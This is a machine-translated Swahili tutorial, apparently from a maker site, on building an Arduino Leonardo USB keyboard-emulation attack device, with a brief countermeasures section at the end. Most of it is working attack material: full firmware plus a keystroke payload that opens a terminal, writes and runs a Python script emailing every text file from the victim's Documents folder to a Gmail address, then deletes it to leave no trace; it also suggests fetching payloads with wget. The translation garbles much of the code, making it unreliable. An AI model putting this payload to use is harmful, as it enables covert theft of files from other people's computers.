Orodha ya maudhui:

Demo ya Unyonyaji wa Kibodi ya Arduino (HID) na Kinga: Hatua 4 (na Picha)
Demo ya Unyonyaji wa Kibodi ya Arduino (HID) na Kinga: Hatua 4 (na Picha)

Video: Demo ya Unyonyaji wa Kibodi ya Arduino (HID) na Kinga: Hatua 4 (na Picha)

Video: Demo ya Unyonyaji wa Kibodi ya Arduino (HID) na Kinga: Hatua 4 (na Picha)
Video: Multi Programming - Computerphile 2024, Novemba
Anonim
Image
Image
Kuunda Kifaa
Kuunda Kifaa

Katika mradi huu tutatumia Leonardo wa arduino kuiga shambulio linalowezekana la USB kwa kutumia HID (kifaa cha kiunganishi cha humain).

Nimeunda mafunzo haya sio kusaidia walaghai lakini kukuonyesha hatari fulani na jinsi ya kujilinda kutokana na hatari hizo. Kifaa hiki sio kifaa kinachoweza kutumiwa kwenye jukwaa lolote la wadukuzi, ni ushahidi wa dhana kwa undani.

Tutajifunza yafuatayo:

- jinsi ya kutumia arduino Leonardo kuiga kibodi

- jinsi ya kusoma data kutoka kwa kadi za SD

- jinsi ya kuunda hati ya chatu ambayo inachunguza faili na kuzituma barua pepe

- jinsi ya kujilinda kutokana na vifaa vya utapeli vya USB

Hatua ya 1: Vifaa

Sehemu:

1. Arduino leonardo

2. msomaji wa kadi ndogo ya USB

3. kadi ndogo ya SD SD

4. kifungo cha kushinikiza kama hii (VCC, chini na ishara)

5. nyaya za kuruka za kike na kiume na kike

6. USB ndogo kwa kebo ya USB

Hatua ya 2: Kuunda Kifaa

Kuunda Kifaa
Kuunda Kifaa

Kabla ya maagizo ya ujenzi wacha tuangalie kanuni ya kufanya kazi:

Arduino leonardo anaweza kuishi kama kifaa cha kiolesura cha mwanadamu (HID) na kwa hivyo anaweza kuiga panya na kibodi. Tutatumia huduma hii kufungua kituo (katika linux ya UBUNTU) na andika hati ndogo ambayo itafikia / folda ya Nyaraka ndani ya nakala ya folda ya nyumbani ya faili.txt faili hapo na utumie barua pepe kwa mtu. Ikiwa unataka kujua maelezo zaidi angalia hatua inayofuata.

Kwa sababu ni kifaa cha onyesho ni rahisi sana, hatutaweza kuuza chochote.

Maagizo ya ujenzi

Kabla hatujaanza angalia faili zilizoambatishwa, nimeambatanisha skimu za fritzing, na faili zote zinazohitajika

1. Kusanya vifaa:

* kuziba kebo ndogo ya USB kwenye arduino

* unganisha kitufe cha ufunguo kwa arduino (ardhi, vcc na moduli ya nje kwa D8)

* unganisha msomaji wa kadi kwa arduino (kwa kutumia kichwa cha ICSP). Arduino Leonardo hana kichwa cha ICSP kilichounganishwa na pini za dijiti kwa hivyo utahitaji kuunganisha msomaji wa kadi kwa kichwa cha ICSP. Unaweza kupata michoro ya ICSP hapa: https://learn.sparkfun.com/tutorials/installing-an …….. Unganisha pini ya SS na pini ya dijiti 10

2. pata nambari ya arduino, unaweza kubandika hazina yangu ya arduino kwenye github: https://github.com/danionescu0/arduino na nenda kwenye miradi / keyboard_exploit au ipate kutoka chini:

# pamoja na "Kinanda.h"

# pamoja na "SPI.h" # pamoja na "SD.h" Kamba filenameOnCard = "hack.txt"; Kamba ya usingiziCommandStartingPoint = "Kulala::"; String commandStartingPoint = "Amri::"; ucheleweshaji wa int Pakati ya Maagizo = 10; kifungo cha int intPin = 8; const int chip Chagua = 10; int previousButtonState = JUU; kuanzisha batili () {pinMode (buttonPin, INPUT); Serial. Kuanza (9600); Kinanda.anza (); ikiwa (! SD.anza (chipSelect)) {Serial.println ("Kadi imeshindwa, au haipo!"); kurudi; }} kitanzi batili () {int buttonState = digitalRead (buttonPin); ikiwa ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Imepakiwa!"); kuchelewesha (500); } previousButtonState = buttonState; } batili sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); ikiwa (! dataFile) {Serial.println ("Jina la faili maalum halipo kwenye kadi ya SD, angalia filenameOnCard!"); } Mstari wa kamba; wakati (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (mstari); sendToKeyboard (laini); } dataFile. karibu (); } batili sendToKeyboard (String line) {String workingLine = line; ikiwa (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); kurudi; } ikiwa (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Nakala:"); Serial.println (laini); Kinanda.println (mstari); bonyeza Enter (); kurudi; } Serial.println ("Amri:"); int charPosition = commandStartingPoint.length (); urefu wa mstari = urefu. urefu (); Mstari wa kufanya kazi = ","; wakati (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (WorkingLine); int maalumCommandDelimiterPosition = workingLine.indexOf (","); Kamba ya amri = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = maalumCommandDelimiterPosition + 1; ikiwa (amri! = "") {Serial.print ("Amri imepatikana:"); Serial.println (amri); Kinanda.press (getCommandCode (amri)); kuchelewesha (kuchelewesha Kati ya Maagizo); }} Kinanda. TafadhaliWote (); kuchelewesha (kuchelewesha Kati ya Maagizo); } utupu wa vyombo vya habari Ingiza () {Keyboard.press (KEY_RETURN); Kinanda.releaseAll (); } utupu wa kulalaFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). IntInt (); Serial.print ("Kulala kwa:"); Serial.println (Kiwango cha kulala); kuchelewesha (Kiasi cha kulala); } char getCommandCode (maandishi ya kamba) {char textCharacter [2]; maandishi.toCharArray (NakalaCharacter, 2); nambari ya char = textCharacter [0]; nambari = (maandishi == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: nambari; nambari = (maandishi == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: nambari; nambari = (maandishi == "KEY_LEFT_ALT")? KEY_LEFT_ALT: nambari; nambari = (maandishi == "KEY_UP_ARROW")? KEY_UP_ARROW: nambari; nambari = (maandishi == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: nambari; nambari = (maandishi == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: nambari; nambari = (maandishi == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: nambari; nambari = (maandishi == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: nambari; nambari = (maandishi == "KEY_BACKSPACE")? KEY_BACKSPACE: nambari; nambari = (maandishi == "KEY_TAB")? KEY_TAB: nambari; nambari = (maandishi == "KEY_RETURN")? KEY_RETURN: nambari; nambari = (maandishi == "KEY_ESC")? KEY_ESC: nambari; nambari = (maandishi == "KEY_INSERT")? KEY_INSERT: nambari; nambari = (maandishi == "KEY_DELETE")? KEY_DELETE: nambari; nambari = (maandishi == "KEY_PAGE_UP")? KEY_PAGE_UP: nambari; nambari = (maandishi == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: nambari; nambari = (maandishi == "KEY_HOME")? KEY_HOME: nambari; nambari = (maandishi == "KEY_END")? KEY_END: nambari; nambari = (maandishi == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: nambari; nambari = (maandishi == "KEY_F1")? KEY_F1: nambari; nambari = (maandishi == "KEY_F2")? KEY_F2: nambari; nambari = (maandishi == "KEY_F3")? KEY_F3: nambari; nambari = (maandishi == "KEY_F4")? KEY_F4: nambari; nambari = (maandishi == "KEY_F5")? KEY_F5: nambari; nambari = (maandishi == "KEY_F6")? KEY_F6: nambari; nambari = (maandishi == "KEY_F7")? KEY_F7: nambari; nambari = (maandishi == "KEY_F8")? KEY_F8: nambari; nambari = (maandishi == "KEY_F9")? KEY_F9: nambari; nambari = (maandishi == "KEY_F10")? KEY_F10: nambari; nambari = (maandishi == "KEY_F11")? KEY_F1: nambari; nambari = (maandishi == "KEY_F12")? KEY_F2: nambari;

nambari ya kurudi;

}

3. Pakia nambari kwa arduino, hakikisha uchague kiwango cha baud 9600, bandari ya serial na leardo wa arduino

4. Umbiza kadi ya sd ukitumia FAT16 au FAT32

5. Ikiwa uliunda repo ya github kutoka hapo juu, nakili faili ya hack.txt kwenye kadi, ikiwa sivyo faili imeorodheshwa hapa chini:

Amri:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Amri:: KEY_INSERT kuagiza smtplib kuagiza glob, os kutoka os.path kuagiza expanduser kutoka kwa barua pepe. MIMEMipipart kuagiza MIMEMultipart kutoka barua pepe. Maandiko ya MIMET kuagiza MIMEText kutoka kwa barua pepe. Viungo vinaingiza COMMASPACE, fomati ya tarehe kutoka Encoders za kuingiza barua pepe

smtp_user = 'mtumaji_gmail_adress"

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Nyaraka'

somo = mwili = 'Faili kutoka kwa kompyuta iliyotapeliwa'

kichwa = 'Kwa: {0} nKutoka: {1} nMada: {2} n.fomati (to_adress, smtp_user, mada)

def sendMail (kwa, mada, maandishi, faili = ):

msg = MIMEMipartipart () msg ['Kutoka'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (maandishi)) kwa faili katika faili: part = MIMEBase ('application', "octet-stream") part.set_payload (open (file, "rb"). Read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition', 'attachment; filename = "% s"'% os.path.basename (file)) msg.ambatanisha (sehemu)

seva = smtplib. SMTP ('smtp.gmail.com:587')

seva.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, kwa, msg.as_string ()) server.quit ()

sendMail ([to_adress], mada, mwili, glob.glob ("{0} / {1} / *. txt". format (expanduser ("~"), scan_documents_location)))

Kulala:: Amri 50:: Kulala KEY_ESC:: 100: x Kulala:: 500 nohup chatu hack.py & Sleep:: 700 rm -rf hack.py Usingizi:: Amri 400:: KEY_LEFT_ALT, KEY_F4

6. Hariri mistari ifuatayo:

smtp_user = 'mtumaji_mail_addr'

smtp_pass = 'neno la mtumaji' to_address = 'receiver_adress'

Na ubadilishe na anwani zako za barua pepe

7. Ondoa kadi na ingiza ndani ya msomaji wa kadi ya arduino

Hatua ya 3: Jinsi inavyofanya kazi kwa Maelezo

Jinsi shambulio hilo litafanya kazi:

1. Wakati kitufe kinabanwa, leonardo atasoma kadi ya sd kwa kutumia msomaji wa kadi ya sd. Faili maalum iliyo na funguo na mchanganyiko muhimu itapatikana kwenye kadi. Jina la faili ni "hack.txt".

Faili inaweza kuwa na maandishi mabichi, na itapita kwa kibodi kama ilivyo.

Pia inaweza kuwa na amri maalum kama "Kulala::" na "Amri::".

Mstari kama:

Kulala:: 200 inamaanisha kulala kwa ms 200

Mstari kama:

Amri:: KEY_LEFT_CTRL, KEY_LEFT_ALT, ina maana kushoto kwa ctrl kushinikizwa, kushoto alt kubonyeza, t kushinikizwa na wote kutolewa

Unaweza kuangalia funguo zote maalum hapa:

2. Leonardo atasoma mstari kwa mstari, na atafsiri amri na kuiga funguo kwenye kibodi. Faili "hack.txt" ina mchanganyiko wa funguo ambazo hufanya zifuatazo (kwa UBUNTU linux):

a. inafungua kituo (CTRL + ALT + T)

b. hufungua faili ya chatu kwa uundaji kwa kutumia vi (anaandika "vi hack.py"

c. anaandika hati ya chatu ndani ambayo hukusanya faili zote za maandishi ndani ya folda ya nyaraka za nyumbani na kuzipeleka kwa anwani maalum ya gmail

d. inaendesha faili nyuma ("nohup python hack.py &")

e. inafuta faili (rm -rf hack.py)

f. inafunga kituo (ALT + F4)

Jambo hili lote linaendesha kwa sekunde chache na haliachi athari.

Uboreshaji na utatuzi

* Unaweza kugundua kuwa baada ya kufungua kituo ninaandika faili ya chatu. njia bora kwake itakuwa kuikaribisha mahali pengine na kuipakua kwa kutumia amri ya "wget some_url", kisha ibadilishe jina kuwa hack.py

* Pia tunaweza kupakua au kuendesha unyonyaji uliotengenezwa tayari kwa mfumo wa walengwa

* wifi inaweza kuongezwa kwenye moduli, na hacks zinaweza kupakiwa kupitia WIFI

* unaweza kutumia arduino micro (ambayo ni ndogo sana) na upachike nambari ya kutumia juu yake (kuifanya iwe ndogo)

Upungufu

1. Kwa sababu kifaa kilichoigwa (kibodi na panya) haina maoni yoyote hatujui nini kitatokea baada ya kutoa amri ambayo inamaanisha tunahitaji kutumia ucheleweshaji. Kwa mfano ninatoa amri ya kufungua kituo, lakini sijui ni lini itakuwa wazi, kwa hivyo ninahitaji kutaja ucheleweshaji holela ili kuhakikisha wahusika waliopigwa baada hawatapotea.

2. Tunaweza kukutana na shida za ruhusa kama kutokuwa na ufikiaji wa bandari ya USB au ruhusa ya kusanikisha kitu

3. Kasi ya kuandika sio nzuri sana kwa leonardo

4. Itafanya kazi kwa mfumo wa walengwa tu (kwa upande wetu linux UBUNTU)

Katika hatua inayofuata itajaribu kutafuta njia za kutumia vizuizi hivi kuzuia kompyuta yetu isidanganyike

Hatua ya 4: Hatua za Kukabiliana

1. Kulemaza bandari za USB

- kwa windows unaweza kuangalia mafunzo haya:

2. Vifaa vya USB vya Whitelist:

- kwa windows:

2. Funga kompyuta yako wakati hauko mbali

3. Usiingie kama mzizi (unahitaji nywila za kusanikisha chochote)

4. Sasisha hali yako ya kibinafsi (sasisha kiotomatiki)

Ilipendekeza: